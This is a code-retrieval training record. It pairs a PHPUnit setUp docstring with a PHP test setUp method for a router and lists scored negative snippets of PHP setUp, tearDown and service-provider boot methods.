[ "0.7110217", "0.6623825", "0.6541798", "0.64980024", "0.64119756", "0.6372916", "0.63512623", "0.6293091", "0.62832415", "0.62605", "0.6219654", "0.6169037", "0.6169037", "0.61117846", "0.6104749", "0.6078435", "0.60535425", "0.6038074", "0.60135853", "0.59717375", "0.5966412", "0.5962165", "0.59458643", "0.5941413", "0.5912392", "0.59010386", "0.58981127", "0.58801425", "0.58763593", "0.5873673", "0.5870407", "0.5849588", "0.5812023", "0.58060724", "0.57886034", "0.5788393", "0.5788393", "0.5788393", "0.57848245", "0.57848245", "0.57841873", "0.5775067", "0.5767492", "0.5764197", "0.57589185", "0.57558215", "0.5747181", "0.57371575", "0.56991816", "0.5695953", "0.56930983", "0.56894916", "0.56846476", "0.56701964", "0.56658626", "0.56585354", "0.5631155", "0.5610542", "0.5595378", "0.5584414", "0.5584189", "0.55752516", "0.55702776", "0.5569047", "0.5566922", "0.55537874", "0.5540006", "0.55068314", "0.5492353", "0.547008", "0.54691344", "0.5468722", "0.5468185", "0.5468185", "0.54642826", "0.5458932", "0.54470044", "0.5446246", "0.5440106", "0.54361904", "0.5432931", "0.5432067", "0.54170525", "0.541682", "0.5406791", "0.54067475", "0.540271", "0.53973216", "0.5388072", "0.5385714", "0.53646827", "0.53597623", "0.535026", "0.534866", "0.5341998", "0.532898", "0.532626", "0.5323323", "0.5323323", "0.5311453", "0.5302627" ]
0.0
-1
Sets up the fixture, for example, opens a network connection. This method is called before a test is executed.
protected function setUp() { $this->response = $this->getMock('\\Bootstrap\\Response'); $this->request = $this->getMock('\\Bootstrap\\Request'); $this->route = $this->getMock('\\Bootstrap\\Route'); $this->routes = [ $this->route ]; $this->otherwise = $this->getMock('\\Bootstrap\\Route'); $this->object = new BasicRouter($this->routes, $this->otherwise); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function fixture_setup() {\r\n $this->service = SQLConnectionService::get_instance($this->configuration);\r\n test_data_setup($this->service);\r\n }", "public function setUp() {\n\t\t$options = [\n\t\t\t'db' => [\n\t\t\t\t'adapter' => 'Connection',\n\t\t\t\t'connection' => $this->_connection,\n\t\t\t\t'fixtures' => $this->_fixtures\n\t\t\t]\n\t\t];\n\n\t\tFixtures::config($options);\n\t\tFixtures::save('db');\n\t}", "protected function setUp()\n {\n $this->fixture = new Record();\n }", "protected function setUp(): void\n {\n parent::setUp();\n\n $this->load();\n }", "protected function setUp()\n {\n\t global $sys_datacite_username, $sys_datacite_password, $sys_datacite_url ;\n\n\t $this->client = new DataCiteClient($sys_datacite_username, $sys_datacite_password);\n $this->client->setDataciteUrl($sys_datacite_url);\n }", "protected function setUp()\n {\n $this->fixture = new Configuration();\n }", "public function setUp() {\r\n // and doing it every test slows the tests down to a crawl\r\n $this->sharedFixture = new MovieLensDataSet(DATA_DIR);\r\n }", "public function setUp()\n {\n parent::setUp();\n $this->prepareForTests();\n }", "protected function setUp() {\n\n $this->client = new Client(['base_uri' => getenv('API_ADDR')]);\n $this->locIDs = $this->insertTestLocations();\n reuse_generateXML();\n }", "protected function setUp(): void\n {\n $servername = '18.222.31.30';\n $username = 'phpclient';\n $password = 'leftoverkillerphp';\n $dbname = 'leftover_killer';\n self::$RecipeModel = new GetRecipeDetails($servername, $username, $password, $dbname);\n }", "public function setUp()\n {\n\n $this->db = Db::getActive();\n $this->response = Response::getActive();\n\n }", "protected function setUp() {\n parent::setUp ();\n $this->storage = new Storage();\r\n $this->connectDB();\r\n $this->cleanDB();\r\n $this->createUser();\n $this->storage->connect($this->dbh);\n }", "protected function setUp() {\r\n\t\tparent::setUp ();\r\n\t\t$this->storage = new Storage ( );\r\n\t\t$this->connectDB();\r\n\t\t$this->cleanDB ();\r\n\t\t$this->createUser ();\r\n\t\t$this->storage->connect ( $this->dbh );\n\t}", "public function setUp() {\n $this->fixture= new FreeTdsLookup($this->getClass()->getPackage()->getResourceAsStream('freetds.conf'));\n }", "public static function setUpBeforeClass(): void\r\n {\r\n self::$MemoryTestAsset = new MemoryTestAsset();\r\n\r\n self::$clients = self::$MemoryTestAsset->getClients();\r\n self::$ClientsStorage = self::$MemoryTestAsset->getClientsStorage();\r\n }", "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "public function setUp() {\n\t\t$this->student = StudentData::getStudent();\n\t\t$this->school = SchoolData::getSchool();\n\t}", "protected function setUp()\n {\n parent::setUp();\n $config = new LocalConfiguration();\n $this->local = new Local($config);\n }", "function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t\n\t\t// Set up fixture\n\t\tif($fixtureFile) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(),0,5) != 'tmpdb') {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\t// This code is a bit misplaced; we want some way of the whole session being reinitialised...\n\t\t\tVersioned::reading_stage(null);\n\n\t\t\tsingleton('DataObject')->flushCache();\n\n\t\t\t$dbadmin = new DatabaseAdmin();\n\t\t\t$dbadmin->clearAllData();\n\t\t\t\n\t\t\t// We have to disable validation while we import the fixtures, as the order in\n\t\t\t// which they are imported doesnt guarantee valid relations until after the\n\t\t\t// import is complete.\n\t\t\t$validationenabled = DataObject::get_validation_enabled();\n\t\t\tDataObject::set_validation_enabled(false);\n\t\t\t$this->fixture = new YamlFixture($fixtureFile);\n\t\t\t$this->fixture->saveIntoDatabase();\n\t\t\tDataObject::set_validation_enabled($validationenabled);\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t}", "protected function setUp() {\n\t\tparent::setUp();\n\n\t\t$this->object = new ControllerFixture([\n\t\t\t'module' => 'module',\n\t\t\t'controller' => 'controller',\n\t\t\t'action' => 'action',\n\t\t\t'args' => [100, 25]\n\t\t]);\n\n\t\t// Used by throwError()\n\t\tTiton::router()->initialize();\n\t}", "protected function setUp(): void\n {\n \tparent::setUp();\n\n \t$this->authorize();\n\n \t$this->loadFixtures([\n \t\t'product'=>ProductFixture::class\n \t]);\n }", "protected function setUp()\n {\n $this->fixture = new NamespaceDescriptor();\n }", "public function setUp()\n {\n $this->fixture = new Finder();\n }", "protected function setUp(): void\n {\n $this->fixture = new TestSubjectDescriptor();\n }", "function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// i18n needs to be set to the defaults or tests fail\n\t\ti18n::set_locale(i18n::default_locale());\n\t\ti18n::set_date_format(null);\n\t\ti18n::set_time_format(null);\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\t\t\n\t\tif(class_exists('RootURLController')) RootURLController::reset();\n\t\tif(class_exists('Translatable')) Translatable::reset();\n\t\tVersioned::reset();\n\t\tDataObject::reset();\n\t\tif(class_exists('SiteTree')) SiteTree::reset();\n\t\tHierarchy::reset();\n\t\tif(Controller::has_curr()) Controller::curr()->setSession(new Session(array()));\n\t\t\n\t\t$this->originalTheme = SSViewer::current_theme();\n\t\t\n\t\tif(class_exists('SiteTree')) {\n\t\t\t// Save nested_urls state, so we can restore it later\n\t\t\t$this->originalNestedURLsState = SiteTree::nested_urls();\n\t\t}\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t$prefix = defined('SS_DATABASE_PREFIX') ? SS_DATABASE_PREFIX : 'ss_';\n\n\t\t// Set up fixture\n\t\tif($fixtureFile || $this->usesDatabase || !self::using_temp_db()) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(), 0, strlen($prefix) + 5) != strtolower(sprintf('%stmpdb', $prefix))) {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\tsingleton('DataObject')->flushCache();\n\t\t\t\n\t\t\tself::empty_temp_db();\n\t\t\t\n\t\t\tforeach($this->requireDefaultRecordsFrom as $className) {\n\t\t\t\t$instance = singleton($className);\n\t\t\t\tif (method_exists($instance, 'requireDefaultRecords')) $instance->requireDefaultRecords();\n\t\t\t\tif (method_exists($instance, 'augmentDefaultRecords')) $instance->augmentDefaultRecords();\n\t\t\t}\n\n\t\t\tif($fixtureFile) {\n\t\t\t\t$pathForClass = $this->getCurrentAbsolutePath();\n\t\t\t\t$fixtureFiles = (is_array($fixtureFile)) ? $fixtureFile : array($fixtureFile);\n\n\t\t\t\t$i = 0;\n\t\t\t\tforeach($fixtureFiles as $fixtureFilePath) {\n\t\t\t\t\t// Support fixture paths relative to the test class, rather than relative to webroot\n\t\t\t\t\t// String checking is faster than file_exists() calls.\n\t\t\t\t\t$isRelativeToFile = (strpos('/', $fixtureFilePath) === false || preg_match('/^\\.\\./', $fixtureFilePath));\n\t\t\t\t\tif($isRelativeToFile) {\n\t\t\t\t\t\t$resolvedPath = realpath($pathForClass . '/' . $fixtureFilePath);\n\t\t\t\t\t\tif($resolvedPath) $fixtureFilePath = $resolvedPath;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$fixture = new YamlFixture($fixtureFilePath);\n\t\t\t\t\t$fixture->saveIntoDatabase();\n\t\t\t\t\t$this->fixtures[] = $fixture;\n\n\t\t\t\t\t// backwards compatibility: Load first fixture into $this->fixture\n\t\t\t\t\tif($i == 0) $this->fixture = $fixture;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->logInWithPermission(\"ADMIN\");\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t\tEmail::send_all_emails_to(null);\n\t\t\n\t\t// Preserve memory settings\n\t\t$this->originalMemoryLimit = ini_get('memory_limit');\n\t}", "public function setUp(): void\n {\n $this->fixture = new Finder();\n }", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }", "protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}", "protected function setUp() {}" ]
[ "0.7593164", "0.71706903", "0.6927489", "0.6910292", "0.6891104", "0.6882925", "0.6814723", "0.6802981", "0.67535055", "0.67530024", "0.6745982", "0.67330414", "0.67140543", "0.67068344", "0.67015326", "0.6683793", "0.6683793", "0.6683793", "0.6683793", "0.6683793", "0.6679458", "0.6677139", "0.6672487", "0.6669946", "0.6647294", "0.66458243", "0.66452134", "0.6636708", "0.6618305", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617435", "0.6617141", "0.6617141", "0.6617096", "0.6617096", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785", "0.66168785" ]
0.0
-1
Tears down the fixture, for example, closes a network connection. This method is called after a test is executed.
protected function tearDown() { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function tearDown(): void\n {\n parent::tearDown();\n\n Mockery::close();\n\n unset($this->faker, $this->waqi);\n }", "public function teardown()\n {\n //\n }", "protected function tearDown(): void\n\t{\n\t\tglobal $modSettings;\n\n\t\t// remove temporary test data\n\t\tunset($modSettings);\n\t}", "public function tearDown()\n {\n unset(\n $this->plugins,\n $this->events,\n $this->connection,\n $this->config\n );\n }", "public function teardown()\n {\n }", "public function _after(TestCase $test)\n {\n $this->unloadFixtures();\n }", "public function tearDown()\n {\n unset($this->app);\n unset($this->client);\n\n m::close();\n }", "protected function tearDown(): void\n {\n self::$driver->close();\n }", "public function tearDown()\n\t{\n\t\tm::close();\n\t}", "protected function tearDown()\n {\n if ($this->databaseTester !== null) {\n if (method_exists($this, 'getTearDownOperation')) {\n $this->getDatabaseTester()->setTearDownOperation($this->getTearDownOperation());\n }\n if (method_exists($this, 'getDataSet')) {\n $this->getDatabaseTester()->setDataSet($this->getDataSet());\n }\n $this->getDatabaseTester()->onTearDown();\n }\n\n $this->databaseTester = null;\n\n set_time_limit(0);\n }", "public function tearDown() {\n\t\tFixtures::clear('db');\n\t\tGalleries::reset();\n\t\tImages::reset();\n\t}", "function teardown() {\n // close database connection\n $this->conn = null;\n }", "protected function tearDown()\r\n {\r\n DirectoryManager::recursiveRemoveDir('data/tests');\r\n }", "protected function tearDown() {\r\n\t\t$this->dbh = null;\r\n\t\t$this->storage = null;\r\n\t\tparent::tearDown ();\r\n\t}", "protected function tearDown(): void\n {\n $this->closeDatabase();\n }", "protected function tearDown() {\n\t\tm::close();\n\t}", "public function tearDown()\n\t{\n\t\t$this->beforeApplicationDestroyed(function () {\n\t\t\tDB::disconnect();\n\t\t});\n\t\n\t\t\tparent::tearDown();\n\t\t\t// \t\tMockery::close();\n\t}", "public function tearDown()\n {\n unset($this->db);\n unset($this->statement);\n unset($this->mockData);\n }", "protected function tearDown() {\n\t\tparent::tearDown();\n\n\t\t$this->cleanupTestDirectory();\n\t}", "protected function tearDown()\n {\n $this->testData = null;\n parent::tearDown();\n }", "protected function tearDown(): void\n {\n $this->provider = null;\n $this->response = null;\n }", "protected function tearDown(): void\n {\n $client = $this->getProvidedData()[0] ?? null;\n if ($client instanceof Client) {\n $this->logout($client);\n }\n }", "public function teardown()\n {\n parent::teardown();\n }", "protected function doTearDown(): void\n {\n }", "protected function tearDown()\n\t{\n\t\tunset($GLOBALS['__DB__']);\n\n\t\tparent::tearDown();\n\t}", "public function teardown() {\n m::close();\n }", "public function tearDownFixtures()\n {\n if (is_array($this->_fixtures)) {\n /** @var ActiveRecordFixture $object */\n foreach ($this->_fixtures as $object) {\n $object->cleanup();\n }\n }\n }", "protected function tearDown()\n {\n // Make sure any test entities created are deleted\n foreach ($this->testEntities as $entity)\n {\n // Second param is a 'hard' delete which actually purges the data\n $this->entityLoader->delete($entity, true);\n }\n }", "public function teardown()\n {\n m::close();\n }", "public function tearDown()\n\t{\n\t\tunset($this->target);\n\t}", "protected function tearDown ()\n {\n $this->downTest();\n\n parent::tearDown();\n }", "public function tearDown()\n {\n $fs = new SymfonyFileSystem();\n $fs->remove($this->fakeTestFileDir);\n\n unset($this->builder);\n unset($this->builder);\n unset($this->fs);\n m::close();\n }", "protected function tearDown(): void\n {\n $this->tearDownTheTestEnvironment();\n }", "protected function tearDown() {\r\n\t\tunset ( $this->configReader );\r\n\t}", "protected function tearDown()\n {\n parent::tearDown();\n\n $this->em->close();\n $this->em = null; // avoid memory leaks\n }", "protected function tearDown() {\n\t\t$this->sql->Disconnect(__FILE__, __LINE__);\n\t\tsqlsolution_unlink_sqlite($this->sql);\n\t\t$this->sql = null;\n\t}", "protected function tearDown()\n {\n $this->testDBConnector->clearDataFromTables();\n }", "public function tearDown() {\n\n\t\tparent::tearDown();\n\t\tMockery::close();\n\t}", "public function tearDown()\n {\n $this->stop();\n }", "public function tearDown()\n {\n m::close();\n }", "public function tearDown()\n {\n m::close();\n }", "public function tearDown()\n {\n m::close();\n }", "protected function tearDown() {\n\n $this->client = null;\n $this->deleteTestLocations();\n $this->locIDs = null;\n reuse_generateXML();\n }", "public function tearDown()\n {\n unset($this->helper);\n }", "public function tearDown()\n\t{\n\t\tunset($this->stub);\n\t}", "protected function tearDown()\n\t {\n\t\tunset($this->object);\n\n\t\t$conn = $this->getConnection();\n\t\t$db = $conn->getConnection();\n\t\t$db->exec(\"DROP TABLE IF EXISTS `MySQLdatabase`;\");\n\n\t\tunset($GLOBALS[\"errstr\"]);\n\t\tunset($GLOBALS[\"stuckerror\"]);\n\t }", "protected function tearDown()\n {\n $this->local = null;\n parent::tearDown();\n }", "protected function tear_down()\n {\n }", "protected function tear_down()\n {\n }", "protected function tear_down()\n {\n }", "protected function tear_down()\n {\n }", "protected function tear_down()\n {\n }", "protected function tearDown() {\n $this->dbh = null;\n $this->storage = null;\n parent::tearDown ();\n }", "protected function tearDown()\n {\n $this->kernel->shutdown();\n $this->kernel = null;\n parent::tearDown();\n }", "public function tear_down()\n {\n }", "public function tear_down()\n {\n }", "public function tear_down()\n {\n }", "public function tearDown()\n\t{\n\t\t\\Orchestra\\Core::shutdown();\n\n\t\tunset($this->user);\n\t\tunset($this->stub);\n\n\t\tparent::tearDown();\n\t}", "public function tearDown()\n {\n unset($this->VenusFuelDepot);\n }", "protected function tearDown()\n\t{\n\t\tunset($this->_instance);\n\t\tparent::tearDown();\n\t}", "public function tearDown()\n {\n parent::tearDown();\n\n if ((bool) getenv('CLEANUP_TEST_DOCKER_SECRETS')) {\n DockerSecretFile::cleanup();\n }\n }", "protected function tearDown()\n\t{\n\t\t$this->restoreFactoryState();\n\t}", "protected function tearDown()\n {\n $this->dataCollector = null;\n parent::tearDown();\n }", "public function tearDown()\n {\n unset($this->app);\n unset($_SERVER['RouteManagerTest@callback']);\n m::close();\n }", "protected function tearDown(): void\n {\n $this->config = null;\n $this->container = null;\n $this->instance = null;\n }", "public function tearDown(){\n\t\t$this->container->get('doctrine')->getConnection()->close();\n\t\n\t\tparent::tearDown();\n\t}", "protected function tearDown()\n {\n unset($this->app);\n\n m::close();\n }", "public function tearDown()\n {\n if (null !== $this->ldap) {\n $this->ldap->unbind();\n }\n }", "protected function tearDown(): void\n {\n $this->_connection->dropTable($this->_tableName);\n $this->_connection->resetDdlCache($this->_tableName);\n $this->_connection = null;\n }", "public function tearDown()\n {\n $this->deleteAdminUserFixture();\n }", "public function tearDown()\n {\n $this->flushModelEventListeners();\n parent::tearDown();\n unset($this->app);\n\n /*\n * Restore environment\n */\n if (file_exists(base_path($this->envTestingFile())) && file_exists(base_path('.env.backup'))) {\n $this->restoreEnvironment();\n }\n }", "public function tearDown()\n {\n unset($this->commonDataClassRepository);\n }", "protected function tearDown()\n\t{\n\t\tparent::tearDown();\n\t\tEnUser::release();\n\t\tRPCContext::getInstance()->resetSession();\n\t\tRPCContext::getInstance()->unsetSession('global.uid');\n\t\tFragseizeObj::release( $this->uid );\n\t}", "protected function tearDown()\n {\n $this->client = null;\n }", "public function tearDown() \n {\n $this->flushSession();\n \n $this->inactiveUser->delete();\n $this->basicUser->delete();\n $this->contactManager->delete();\n $this->projectManager->delete();\n $this->administrator->delete();\n\n parent::tearDown();\n Mockery::close();\n }", "public function tearDown() {\n // tests using these functions.\n \\mod_forum\\subscriptions::reset_forum_cache();\n\n $this->messagesink->clear();\n $this->messagesink->close();\n unset($this->messagesink);\n\n $this->mailsink->clear();\n $this->mailsink->close();\n unset($this->mailsink);\n }", "public function tearDown()\n\t{\n\t\tparent::tearDown();\n\t\t$this->databaseTester = NULL;\n\t}", "public function tearDown(): void\n {\n self::$environ->cleanupTestUploadFiles();\n self::$environ->clean();\n }", "public function tearDown()\n {\n $this->client = null;\n }", "protected function tearDown()\n {\n $this->helper = null;\n parent::tearDown();\n }", "protected function tearDown() {\n\t}", "protected function tearDown() {\n\t}", "protected function tearDown() {\n\t}", "protected function tearDown() {\n\t}", "protected function tearDown() {\n\t}", "protected function tearDown() {\n\t}", "protected function tearDown()\n\t{\n\t\t$this->instance = null;\n\t}", "public static function tearDownAfterClass(): void\n {\n if (file_exists(static::$ou)) {\n unlink(static::$ou);\n }\n }", "protected function tearDown()\r\n {\r\n $application = new Application(self::$kernel);\r\n $application->setAutoExit(false);\r\n\r\n $options = array('command' => 'doctrine:database:drop', '--force' => true);\r\n $application->run(new ArrayInput($options));\r\n\r\n parent::tearDown();\r\n\r\n $this->em->close();\r\n $this->em = null;\r\n }", "protected function tearDown()\n {\n parent::tearDown();\n if (!is_null($this->em)) {\n $this->em->getConnection()->close();\n }\n }", "protected function tearDown()\n {\n $this->deleteTemporaryFiles();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "protected function tearDown(): void\n {\n m::close();\n }", "public function tearDown()\n {\n Resistance::reset();\n }", "protected function tearDown()\n {\n $this->clock = NULL;\n }", "public function tearDown()\n\t{\n\t\tMockery::close();\n\t}", "protected function tearDown()\n\t{\n\t\tparent::tearDown ();\n\t\tEnUser::release();\n\t\tRPCContext::getInstance()->resetSession();\n\t\tRPCContext::getInstance()->unsetSession('global.uid');\n\t}" ]
[ "0.7307578", "0.7237047", "0.7221755", "0.7187235", "0.71866333", "0.71488374", "0.714064", "0.7134496", "0.71208173", "0.7103526", "0.7081723", "0.7078792", "0.70777047", "0.70528316", "0.70494026", "0.7033805", "0.70232254", "0.70150024", "0.70018286", "0.70006156", "0.70000094", "0.6992462", "0.69906193", "0.6980863", "0.6959178", "0.6956733", "0.6955172", "0.69475186", "0.6938505", "0.69342947", "0.69293123", "0.69267136", "0.69230783", "0.6919217", "0.6910308", "0.6910161", "0.6906873", "0.6900705", "0.68926656", "0.6890406", "0.6890406", "0.6890406", "0.689011", "0.6889476", "0.68835694", "0.686262", "0.6861749", "0.68584955", "0.68584955", "0.68584955", "0.68584955", "0.68584955", "0.68543804", "0.68524384", "0.6852042", "0.6852042", "0.6852042", "0.685189", "0.6844956", "0.6839818", "0.6838985", "0.6833956", "0.68302906", "0.6829915", "0.6811586", "0.68111885", "0.6808079", "0.6807182", "0.6807115", "0.68027264", "0.6801231", "0.67931956", "0.6791896", "0.67890584", "0.6780184", "0.67751485", "0.67702603", "0.6769567", "0.6767948", "0.67678994", "0.67619026", "0.67619026", "0.67619026", "0.67619026", "0.67619026", "0.67619026", "0.67598116", "0.6759168", "0.67582804", "0.6755155", "0.6754911", "0.67539644", "0.67539644", "0.67539644", "0.67539644", "0.67539644", "0.67539644", "0.675204", "0.67496747", "0.6749417", "0.6748396" ]
0.0
-1
Bootstrap any application services.
public function boot() { Schema::defaultStringLength(191); view()->composer('client.block.header',function($view){ if(Auth::check()){ $view->with('user',Auth::user()); } }); view()->composer('client.block.header',function($view){ $hinhthuc=hinhthuc::all(); $view->with('hinhthuc',$hinhthuc); }); view()->composer('client.block.header',function($view){ $parent=parent_type::all(); $view->with('parent',$parent); }); view()->composer('client.block.sidebar_post',function($view ){ $loaitin_random=loaitin::orderByRaw("RAND()")->take(6)->get(); $view->with('loaitin_random',$loaitin_random); }); view()->composer('client.block.sidebar_post',function($view){ $post_random=post::orderByRaw("RAND()")->take(5)->get(); $view->with('post_random',$post_random); }); view()->composer('client.block.sidebar_post',function($view){ $hinhthuc=hinhthuc::all(); $khuvuc=tinh::all(); $view->with('hinhthuc',$hinhthuc); $view->with('khuvuc',$khuvuc); }); view()->composer('client.block.sidebar_blog',function($view ){ $typeblog_random=typeblog::orderByRaw("RAND()")->take(6)->get(); //dd($typeblog_random); $tags=DB::table('taggable_tags')->select('tag_id','name')->orderByRaw("RAND()")->take(9)->get(); //dd($tags); $view->with('typeblog_random',$typeblog_random); $view->with('tags',$tags); }); view()->composer('client.block.sidebar_blog',function($view){ $blog_random=blog::where('id_parent','1')->orderByRaw("RAND()")->take(5)->get(); $view->with('blog_random',$blog_random); }); view()->composer('client.block.sidebar_blog',function($view){ $duan_random=blog::where('id_parent','2')->orderByRaw("RAND()")->take(5)->get(); $view->with('duan_random',$duan_random); }); view()->composer('client.block.account',function($view){ if(Auth::check()){ $view->with('user',Auth::user()); } }); view()->composer('client.block.footer',function($view){ $post=post::orderByRaw("RAND()")->take(3)->get(); $view->with('post',$post); }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function bootstrap(): void\n {\n if (! $this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrappers());\n }\n\n $this->app->loadDeferredProviders();\n }", "public function boot()\n {\n // Boot here application\n }", "public function bootstrap()\n {\n if (!$this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrapperList);\n }\n\n $this->app->loadDeferredProviders();\n }", "public function boot()\r\n {\r\n // Publishing is only necessary when using the CLI.\r\n if ($this->app->runningInConsole()) {\r\n $this->bootForConsole();\r\n }\r\n }", "public function boot()\n {\n $this->app->bind(IUserService::class, UserService::class);\n $this->app->bind(ISeminarService::class, SeminarService::class);\n $this->app->bind(IOrganizationService::class, OrganizationService::class);\n $this->app->bind(ISocialActivityService::class, SocialActivityService::class);\n }", "public function boot()\n {\n if ($this->booted) {\n return;\n }\n\n array_walk($this->loadedServices, function ($s) {\n $this->bootService($s);\n });\n\n $this->booted = true;\n }", "public function boot()\n {\n\n $this->app->bind(FileUploaderServiceInterface::class,FileUploaderService::class);\n $this->app->bind(ShopServiceInterface::class,ShopService::class);\n $this->app->bind(CategoryServiceInterface::class,CategoryService::class);\n $this->app->bind(ProductServiceInterface::class,ProductService::class);\n $this->app->bind(ShopSettingsServiceInterface::class,ShopSettingsService::class);\n $this->app->bind(FeedbackServiceInterface::class,FeedbackService::class);\n $this->app->bind(UserServiceInterface::class,UserService::class);\n $this->app->bind(ShoppingCartServiceInterface::class,ShoppingCartService::class);\n $this->app->bind(WishlistServiceInterface::class,WishlistService::class);\n $this->app->bind(NewPostApiServiceInterface::class,NewPostApiService::class);\n $this->app->bind(DeliveryAddressServiceInterface::class,DeliveryAddressService::class);\n $this->app->bind(StripeServiceInterface::class,StripeService::class);\n $this->app->bind(OrderServiceInterface::class,OrderService::class);\n $this->app->bind(MailSenderServiceInterface::class,MailSenderSenderService::class);\n }", "public function boot()\n {\n $this->setupConfig('delta_service');\n $this->setupMigrations();\n $this->setupConnection('delta_service', 'delta_service.connection');\n }", "public function boot()\n {\n $configuration = [];\n\n if (file_exists($file = getcwd() . '/kaleo.config.php')) {\n $configuration = include_once $file;\n }\n\n $this->app->singleton('kaleo', function () use ($configuration) {\n return new KaleoService($configuration);\n });\n }", "public function boot()\n {\n $this->shareResources();\n $this->mergeConfigFrom(self::CONFIG_PATH, 'amocrm-api');\n }", "public function boot(): void\n {\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n // Ports\n $this->app->bind(\n IAuthenticationService::class,\n AuthenticationService::class\n );\n $this->app->bind(\n IBeerService::class,\n BeerService::class\n );\n\n // Adapters\n $this->app->bind(\n IUserRepository::class,\n UserEloquentRepository::class\n );\n $this->app->bind(\n IBeerRepository::class,\n BeerEloquentRepository::class\n );\n }", "public function boot()\n {\n $this->setupConfig($this->app);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->loadMigrations();\n }\n if(config($this->vendorNamespace. 